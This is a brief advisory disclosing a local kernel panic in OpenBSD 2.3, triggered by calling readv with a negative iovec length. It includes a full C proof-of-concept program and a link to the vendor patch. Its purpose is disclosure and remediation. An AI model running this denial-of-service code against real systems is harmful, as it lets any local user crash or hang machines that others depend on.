COMMAND
	    kernel (readv)
SYSTEMS AFFECTED
	    OpenBSD 2.3
PROBLEM
	    Jon Ribbens found following.  readv with one of the blocks  having
	    a -ve size panics the kernel. To repeat that, use following  code.
	    Run  the  program,  type  a  few characters, press return, observe
	    either  kernel   panic  or   machine  hang.    Panic  message   is
	    "panic: ureadc:  non-positive resid". Any user can do this.
	
	    #include <sys/types.h>
	    #include <sys/uio.h>
	    #include <unistd.h>
	    int main(void) {
	      struct iovec iov[1];
	      char buffer[1024];
	      iov[0].iov_base = buffer;
	      iov[0].iov_len = -1;
	      return readv(0, iov, 1);
	    }
	
SOLUTION
	    See
	
	        http://www.openbsd.org/errata.html#resid
	
	    for a patch which applies to 2.3.